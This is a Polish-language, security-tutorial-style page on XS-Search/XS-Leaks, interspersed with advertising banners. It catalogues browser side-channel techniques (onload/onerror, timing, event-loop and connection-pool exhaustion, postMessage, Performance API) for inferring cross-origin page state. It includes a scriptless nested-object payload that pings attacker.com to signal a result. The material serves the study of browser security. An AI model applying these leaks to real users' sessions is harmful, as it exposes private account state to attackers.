# XS-Search/XS-Leaks

<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
Uzyskaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

{{#include ../banners/hacktricks-training.md}}

## Podstawowe informacje

XS-Search to metoda używana do **ekstrakcji informacji z różnych źródeł** poprzez wykorzystanie **wrażliwości kanałów bocznych**.

Kluczowe komponenty zaangażowane w ten atak obejmują:

- **Wrażliwa strona internetowa**: Strona docelowa, z której zamierzamy wyodrębnić informacje.
- **Strona atakującego**: Złośliwa strona internetowa stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit.
- **Metoda włączenia**: Technika stosowana do włączenia Wrażliwej Strony Internetowej do Strony Atakującego (np. window.open, iframe, fetch, tag HTML z href itp.).
- **Technika wycieku**: Techniki używane do rozróżnienia różnic w stanie Wrażliwej Strony Internetowej na podstawie informacji zebranych za pomocą metody włączenia.
- **Stany**: Dwa potencjalne warunki Wrażliwej Strony Internetowej, które atakujący stara się rozróżnić.
- **Wykrywalne różnice**: Obserwowalne różnice, na których atakujący polega, aby wywnioskować stan Wrażliwej Strony Internetowej.

### Wykrywalne różnice

Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony Internetowej:

- **Kod statusu**: Rozróżnianie między **różnymi kodami statusu odpowiedzi HTTP** z różnych źródeł, takimi jak błędy serwera, błędy klienta lub błędy uwierzytelniania.
- **Użycie API**: Identyfikacja **użycia Web API** na stronach, ujawniająca, czy strona z innego źródła korzysta z konkretnego JavaScript Web API.
- **Przekierowania**: Wykrywanie nawigacji do różnych stron, nie tylko przekierowań HTTP, ale także tych wywołanych przez JavaScript lub HTML.
- **Zawartość strony**: Obserwowanie **różnic w treści odpowiedzi HTTP** lub w podzasobach strony, takich jak **liczba osadzonych ramek** lub różnice w rozmiarze obrazów.
- **Nagłówek HTTP**: Zauważenie obecności lub ewentualnie wartości **konkretnego nagłówka odpowiedzi HTTP**, w tym nagłówków takich jak X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy.
- **Czas**: Zauważenie stałych różnic czasowych między dwoma stanami.

### Metody włączenia

- **Elementy HTML**: HTML oferuje różne elementy do **włączenia zasobów z różnych źródeł**, takie jak arkusze stylów, obrazy lub skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilacja potencjalnych elementów HTML do tego celu znajduje się pod adresem [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Ramki**: Elementy takie jak **iframe**, **object** i **embed** mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona **nie ma ochrony przed ramkami**, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow.
- **Wyskakujące okna**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, zapewniając **uchwyt okna** dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Wyskakujące okna, często używane w jednolitym logowaniu, omijają ograniczenia ramkowe i ciasteczkowe zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie wyskakujących okien do określonych działań użytkownika.
- **Żądania JavaScript**: JavaScript pozwala na bezpośrednie żądania do zasobów docelowych za pomocą **XMLHttpRequests** lub **Fetch API**. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład możliwość podążania za przekierowaniami HTTP.

### Techniki wycieku

- **Obsługa zdarzeń**: Klasyczna technika wycieku w XS-Leaks, gdzie obsługiwacze zdarzeń, takie jak **onload** i **onerror**, dostarczają informacji o sukcesie lub niepowodzeniu ładowania zasobów.
- **Komunikaty o błędach**: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji o wycieku, zarówno bezpośrednio z komunikatu o błędzie, jak i poprzez rozróżnienie między jego obecnością a brakiem.
- **Globalne ograniczenia**: Fizyczne ograniczenia przeglądarki, takie jak pojemność pamięci lub inne narzucone ograniczenia przeglądarki, mogą sygnalizować, kiedy osiągnięto próg, służąc jako technika wycieku.
- **Globalny stan**: Wykrywalne interakcje z **globalnymi stanami** przeglądarek (np. interfejs historii) mogą być wykorzystywane. Na przykład, **liczba wpisów** w historii przeglądarki może dostarczać wskazówek dotyczących stron z różnych źródeł.
- **API wydajności**: To API dostarcza **szczegóły wydajności bieżącej strony**, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioski na temat żądanych zasobów.
- **Czytelne atrybuty**: Niektóre atrybuty HTML są **czytelne z różnych źródeł** i mogą być używane jako technika wycieku. Na przykład, właściwość `window.frame.length` pozwala JavaScript na zliczanie ramek osadzonych w stronie internetowej z różnych źródeł.

## Narzędzie XSinator i dokument

XSinator to automatyczne narzędzie do **sprawdzania przeglądarek pod kątem kilku znanych XS-Leaks** opisanych w jego dokumencie: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)

Możesz **uzyskać dostęp do narzędzia pod** [**https://xsinator.com/**](https://xsinator.com/)

> [!WARNING]
> **Wykluczone XS-Leaks**: Musieliśmy wykluczyć XS-Leaks, które polegają na **workerach serwisowych**, ponieważ mogłyby zakłócać inne wycieki w XSinator. Ponadto zdecydowaliśmy się **wykluczyć XS-Leaks, które polegają na błędnej konfiguracji i błędach w konkretnej aplikacji internetowej**. Na przykład, błędne konfiguracje Cross-Origin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy XS-Leaks oparte na czasie, ponieważ często są wolne, hałaśliwe i niedokładne.

<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
Uzyskaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## **Techniki oparte na czasie**

Niektóre z poniższych technik będą wykorzystywać czas jako część procesu wykrywania różnic w możliwych stanach stron internetowych. Istnieją różne sposoby mierzenia czasu w przeglądarce internetowej.

**Zegary**: API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) pozwala programistom uzyskać pomiary czasu o wysokiej rozdzielczości.\
Istnieje znaczna liczba API, które atakujący mogą nadużywać do tworzenia niejawnych zegarów: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animacje CSS i inne.\
Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).

## Techniki obsługi zdarzeń

### Onload/Onerror

- **Metody włączenia**: Ramki, elementy HTML
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **Podsumowanie**: jeśli próba załadowania zasobu wywołuje zdarzenia onerror/onload, gdy zasób jest ładowany pomyślnie/niepomyślnie, możliwe jest ustalenie kodu statusu.
- **Przykład kodu**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)

{{#ref}}
xs-search/cookie-bomb-+-onerror-xs-leak.md
{{#endref}}

Przykład kodu próbuje **załadować obiekty skryptów z JS**, ale **inne tagi** takie jak obiekty, arkusze stylów, obrazy, audio mogą być również używane. Ponadto możliwe jest również wstrzyknięcie **tagu bezpośrednio** i zadeklarowanie zdarzeń `onload` i `onerror` wewnątrz tagu (zamiast wstrzykiwać je z JS).

Istnieje również wersja tego ataku bez skryptów:
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
W tym przypadku, jeśli `example.com/404` nie zostanie znaleziony, załadowana zostanie `attacker.com/?error`.

### Czas ładowania

- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **Podsumowanie:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** może być używane do pomiaru, ile czasu zajmuje wykonanie żądania. Jednak inne zegary mogą być używane, takie jak [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), które mogą identyfikować zadania trwające dłużej niż 50 ms.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) inny przykład w:

{{#ref}}
xs-search/performance.now-example.md
{{#endref}}

#### Czas ładowania + Wymuszone ciężkie zadanie

Ta technika jest podobna do poprzedniej, ale **atakujący** również **wymusi** pewną akcję, aby zajęła **odpowiednią ilość czasu**, gdy **odpowiedź jest pozytywna lub negatywna** i zmierzy ten czas.

{{#ref}}
xs-search/performance.now-+-force-heavy-task.md
{{#endref}}

### Czas unload/beforeunload

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **Podsumowanie:** Zegar [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) może być używany do pomiaru, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) i [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Zdarzenie **`beforeunload`** jest wywoływane, gdy przeglądarka ma zamiar przejść do nowej strony, podczas gdy zdarzenie **`unload`** występuje, gdy nawigacja faktycznie ma miejsce. Różnicę czasu między tymi dwoma zdarzeniami można obliczyć, aby określić **czas, jaki przeglądarka spędziła na pobieraniu zasobu**.

### Czas ramki w piaskownicy + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **Podsumowanie:** API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) może być używane do pomiaru, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

Zaobserwowano, że w przypadku braku [Ochrony Ramkowej](https://xsleaks.dev/docs/defenses/opt-in/xfo/), czas potrzebny na załadowanie strony i jej zasobów podrzędnych przez sieć może być mierzony przez atakującego. Pomiar ten jest zazwyczaj możliwy, ponieważ handler `onload` iframe jest wywoływany dopiero po zakończeniu ładowania zasobów i wykonania JavaScriptu. Aby obejść zmienność wprowadzoną przez wykonanie skryptu, atakujący może zastosować atrybut [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) w `<iframe>`. Włączenie tego atrybutu ogranicza wiele funkcji, w szczególności wykonanie JavaScriptu, co ułatwia pomiar, który jest głównie wpływany przez wydajność sieci.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + error + onload

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**:
- **Podsumowanie**: Jeśli możesz spowodować błąd na stronie, gdy dostępna jest poprawna zawartość, i sprawić, że załaduje się poprawnie, gdy dostępna jest jakakolwiek zawartość, możesz stworzyć pętlę do wyodrębnienia wszystkich informacji bez mierzenia czasu.
- **Przykład kodu**:

Załóżmy, że możesz **wstawić** **stronę**, która ma **tajną** zawartość **w ramce Iframe**.

Możesz **sprawić, że ofiara będzie szukać** pliku, który zawiera "_**flag**_" używając **Iframe** (na przykład wykorzystując CSRF). Wewnątrz Iframe wiesz, że _**zdarzenie onload**_ będzie **wykonywane zawsze przynajmniej raz**. Następnie możesz **zmienić** **URL** **iframe**, zmieniając tylko **zawartość** **hash** w URL.

Na przykład:

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

Jeśli pierwszy URL został **pomyślnie załadowany**, to, gdy **zmienisz** część **hash** URL, **zdarzenie onload** **nie zostanie wywołane** ponownie. Ale **jeśli** strona miała jakiś rodzaj **błędu** podczas **ładowania**, to **zdarzenie onload** zostanie **wywołane ponownie**.

Wtedy możesz **rozróżnić** między **poprawnie** załadowaną stroną a stroną, która ma **błąd** podczas dostępu.

### Wykonanie Javascript

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**:
- **Podsumowanie:** Jeśli **strona** **zwraca** **wrażliwą** zawartość, **lub** zawartość, która może być **kontrolowana** przez użytkownika. Użytkownik mógłby ustawić **ważny kod JS w negatywnym przypadku**, **ładując** każdy próbę wewnątrz **`<script>`** tagów, więc w **negatywnych** przypadkach kod **atakującego** jest **wykonywany**, a w **pozytywnych** przypadkach **nic** nie zostanie wykonane.
- **Przykład kodu:**

{{#ref}}
xs-search/javascript-execution-xs-leak.md
{{#endref}}

### CORB - Onerror

- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Kod statusu i nagłówki
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Podsumowanie**: **Cross-Origin Read Blocking (CORB)** to środek bezpieczeństwa, który zapobiega ładowaniu przez strony internetowe niektórych wrażliwych zasobów z innych źródeł, aby chronić przed atakami takimi jak **Spectre**. Jednak atakujący mogą wykorzystać jego ochronne zachowanie. Gdy odpowiedź podlegająca **CORB** zwraca _**chroniony przez CORB**_ `Content-Type` z `nosniff` i kodem statusu `2xx`, **CORB** usuwa treść odpowiedzi i nagłówki. Atakujący obserwujący to mogą wywnioskować kombinację **kodu statusu** (wskazującego na sukces lub błąd) i `Content-Type` (oznaczającego, czy jest chroniony przez **CORB**), co prowadzi do potencjalnego wycieku informacji.
- **Przykład kodu**:

Sprawdź link z więcej informacjami, aby uzyskać więcej informacji na temat ataku.

### onblur

- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
- **Podsumowanie**: Wycieki wrażliwych danych z atrybutu id lub name.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

Możliwe jest **załadowanie strony** wewnątrz **iframe** i użycie **`#id_value`**, aby skupić stronę na elemencie iframe z wskazanym id, a następnie, jeśli zostanie wywołany sygnał **`onblur`**, element ID istnieje.\
Możesz przeprowadzić ten sam atak z tagami **`portal`**.

### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
- **Podsumowanie**: Zbieraj wrażliwe informacje z postMessage lub użyj obecności postMessages jako orakula, aby poznać status użytkownika na stronie
- **Przykład kodu**: `Jakikolwiek kod nasłuchujący wszystkie postMessages.`

Aplikacje często wykorzystują [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) do komunikacji między różnymi źródłami. Jednak ta metoda może nieumyślnie ujawniać **wrażliwe informacje**, jeśli parametr `targetOrigin` nie jest odpowiednio określony, co pozwala każdemu oknu na odbieranie wiadomości. Ponadto sam akt odbierania wiadomości może działać jako **orakulum**; na przykład niektóre wiadomości mogą być wysyłane tylko do użytkowników, którzy są zalogowani. Dlatego obecność lub brak tych wiadomości może ujawniać informacje o stanie lub tożsamości użytkownika, takie jak to, czy są uwierzytelnieni, czy nie.

<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
Uzyskaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Techniki globalnych limitów

### WebSocket API

- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Podsumowanie**: Wyczerpanie limitu połączeń WebSocket ujawnia liczbę połączeń WebSocket strony z innego źródła.
- **Przykład kodu**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)

Możliwe jest zidentyfikowanie, czy i ile **połączeń WebSocket używa strona docelowa**. Pozwala to atakującemu na wykrycie stanów aplikacji i wyciek informacji związanych z liczbą połączeń WebSocket.

Jeśli jedno **źródło** używa **maksymalnej liczby obiektów połączeń WebSocket**, niezależnie od stanu ich połączeń, utworzenie **nowych obiektów spowoduje wyjątki JavaScript**. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w pop-upie lub iframe, a następnie, po załadowaniu strony docelowej, próbuje utworzyć maksymalną liczbę możliwych połączeń WebSocket. **Liczba zgłoszonych wyjątków** to **liczba połączeń WebSocket używanych przez okno strony docelowej**.

### Payment API

- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Podsumowanie**: Wykryj żądanie płatności, ponieważ tylko jedno może być aktywne w danym czasie.
- **Przykład kodu**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)

Ten XS-Leak umożliwia atakującemu **wykrycie, kiedy strona z innego źródła inicjuje żądanie płatności**.

Ponieważ **tylko jedno żądanie płatności może być aktywne** w danym czasie, jeśli strona docelowa korzysta z API żądania płatności, wszelkie dalsze próby użycia tego API zakończą się niepowodzeniem i spowodują **wyjątek JavaScript**. Atakujący może to wykorzystać, **okresowo próbując wyświetlić interfejs API płatności**. Jeśli jedna próba spowoduje wyjątek, strona docelowa aktualnie z niego korzysta. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po utworzeniu.

### Mierzenie pętli zdarzeń <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>

- **Metody włączenia**:
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **Podsumowanie:** Mierz czas wykonania strony, wykorzystując jednowątkową pętlę zdarzeń JS.
- **Przykład kodu**:

{{#ref}}
xs-search/event-loop-blocking-+-lazy-images.md
{{#endref}}

JavaScript działa na modelu współbieżności [jednowątkowej pętli zdarzeń](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), co oznacza, że **może wykonywać tylko jedno zadanie w danym czasie**. Ta cecha może być wykorzystana do oszacowania **jak długo kod z innego źródła zajmuje wykonanie**. Atakujący może zmierzyć czas wykonania swojego kodu w pętli zdarzeń, ciągle wysyłając zdarzenia z ustalonymi właściwościami. Te zdarzenia będą przetwarzane, gdy pula zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej puli, **atakujący może wywnioskować czas, jaki zajmuje wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonaniu swoich własnych zadań**. Ta metoda monitorowania pętli zdarzeń pod kątem opóźnień może ujawniać czas wykonania kodu z różnych źródeł, potencjalnie ujawniając wrażliwe informacje.

> [!WARNING]
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.

### Zajęta pętla zdarzeń <a href="#busy-event-loop" id="busy-event-loop"></a>

- **Metody włączenia**:
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Podsumowanie:** Jedną z metod mierzenia czasu wykonania operacji webowej jest celowe zablokowanie pętli zdarzeń w wątku, a następnie zmierzenie **jak długo zajmuje ponowne udostępnienie pętli zdarzeń**. Wstawiając operację blokującą (taką jak długie obliczenia lub synchroniczne wywołanie API) do pętli zdarzeń i monitorując czas, jaki zajmuje rozpoczęcie wykonania kolejnego kodu, można wywnioskować czas trwania zadań, które były wykonywane w pętli zdarzeń w czasie blokady. Ta technika wykorzystuje jednowątkowy charakter pętli zdarzeń JavaScript, gdzie zadania są wykonywane sekwencyjnie, i może dostarczyć informacji o wydajności lub zachowaniu innych operacji dzielących ten sam wątek.
- **Przykład kodu**:

Znaczącą zaletą techniki mierzenia czasu wykonania poprzez blokowanie pętli zdarzeń jest jej potencjał do obejścia **Izolacji witryn**. **Izolacja witryn** to funkcja zabezpieczeń, która oddziela różne strony internetowe w osobnych procesach, mająca na celu zapobieganie bezpośredniemu dostępowi złośliwych witryn do wrażliwych danych z innych witryn. Jednak wpływając na czas wykonania innego źródła poprzez wspólną pętlę zdarzeń, atakujący może pośrednio wydobyć informacje o działaniach tego źródła. Ta metoda nie polega na bezpośrednim dostępie do danych innego źródła, lecz raczej obserwuje wpływ działań tego źródła na wspólną pętlę zdarzeń, tym samym omijając ochronne bariery ustanowione przez **Izolację witryn**.

> [!WARNING]
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.

### Pula połączeń

- **Metody włączenia**: Żądania JavaScript
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Podsumowanie:** Atakujący mógłby zablokować wszystkie gniazda z wyjątkiem 1, załadować stronę docelową i jednocześnie załadować inną stronę, czas do momentu, gdy ostatnia strona zaczyna się ładować, to czas, jaki zajęło załadowanie strony docelowej.
- **Przykład kodu**:

{{#ref}}
xs-search/connection-pool-example.md
{{#endref}}

Przeglądarki wykorzystują gniazda do komunikacji z serwerem, ale z powodu ograniczonych zasobów systemu operacyjnego i sprzętu, **przeglądarki są zmuszone narzucać limit** na liczbę równoczesnych gniazd. Atakujący mogą wykorzystać to ograniczenie poprzez następujące kroki:

1. Ustalić limit gniazd przeglądarki, na przykład 256 globalnych gniazd.
2. Zajmować 255 gniazd przez dłuższy czas, inicjując 255 żądań do różnych hostów, zaprojektowanych tak, aby utrzymać połączenia otwarte bez ich zakończenia.
3. Wykorzystać 256. gniazdo do wysłania żądania do strony docelowej.
4. Spróbować 257. żądania do innego hosta. Ponieważ wszystkie gniazda są zajęte (zgodnie z krokami 2 i 3), to żądanie zostanie umieszczone w kolejce, aż gniazdo stanie się dostępne. Opóźnienie przed tym żądaniem dostarcza atakującemu informacji o czasie aktywności sieciowej związanej z 256. gniazdem (gniazdo strony docelowej). To wnioskowanie jest możliwe, ponieważ 255 gniazd z kroku 2 nadal są zajęte, co sugeruje, że jakiekolwiek nowo dostępne gniazdo musi być tym zwolnionym z kroku 3. Czas, jaki zajmuje 256. gniazdu, aby stać się dostępnym, jest zatem bezpośrednio związany z czasem, jaki zajęło zakończenie żądania do strony docelowej.

Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)

### Pula połączeń według docelowego

- **Metody włączenia**: Żądania JavaScript
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**:
- **Podsumowanie:** To jak poprzednia technika, ale zamiast używać wszystkich gniazd, Google **Chrome** nakłada limit **6 równoczesnych żądań do tego samego źródła**. Jeśli **zablokujemy 5** i następnie **uruchomimy 6.** żądanie, możemy **zmierzyć** czas, a jeśli udało nam się sprawić, że **strona ofiary wysłała** więcej **żądań** do tego samego punktu końcowego, aby wykryć **status** **strony**, **6. żądanie** zajmie **więcej czasu** i możemy to wykryć.

## Techniki API wydajności

[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) oferuje wgląd w metryki wydajności aplikacji internetowych, dodatkowo wzbogacony przez [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API umożliwia monitorowanie szczegółowych czasów żądań sieciowych, takich jak czas trwania żądań. W szczególności, gdy serwery dołączają nagłówek `Timing-Allow-Origin: *` do swoich odpowiedzi, dodatkowe dane, takie jak rozmiar transferu i czas wyszukiwania domeny, stają się dostępne.

Te bogate dane można uzyskać za pomocą metod takich jak [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) lub [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), co zapewnia kompleksowy widok informacji związanych z wydajnością. Dodatkowo, API umożliwia pomiar czasów wykonania, obliczając różnicę między znacznikami czasu uzyskanymi z [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Warto jednak zauważyć, że dla niektórych operacji w przeglądarkach takich jak Chrome, precyzja `performance.now()` może być ograniczona do milisekund, co może wpłynąć na szczegółowość pomiarów czasowych.

Poza pomiarami czasowymi, API wydajności można wykorzystać do uzyskania informacji związanych z bezpieczeństwem. Na przykład, obecność lub brak stron w obiekcie `performance` w Chrome może wskazywać na zastosowanie `X-Frame-Options`. W szczególności, jeśli strona jest zablokowana przed renderowaniem w ramce z powodu `X-Frame-Options`, nie zostanie zarejestrowana w obiekcie `performance`, co stanowi subtelny wskazówkę na temat polityki ramkowania strony.

### Wyciek błędu

- **Metody włączenia**: Ramki, Elementy HTML
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Żądanie, które kończy się błędami, nie utworzy wpisu czasowego zasobów.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)

Możliwe jest **rozróżnienie między kodami statusu odpowiedzi HTTP**, ponieważ żądania, które prowadzą do **błędu**, **nie tworzą wpisu wydajności**.

### Błąd przeładowania stylu

- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Z powodu błędu przeglądarki, żądania, które kończą się błędami, są ładowane dwukrotnie.
- **Przykład kodu**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)

W poprzedniej technice zidentyfikowano również dwa przypadki, w których błędy przeglądarki w GC prowadzą do **ładowania zasobów dwukrotnie, gdy nie udaje się ich załadować**. To spowoduje wiele wpisów w API wydajności i może być zatem wykryte.

### Błąd łączenia żądań

- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Żądania, które kończą się błędem, nie mogą być scalane.
- **Przykład kodu**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

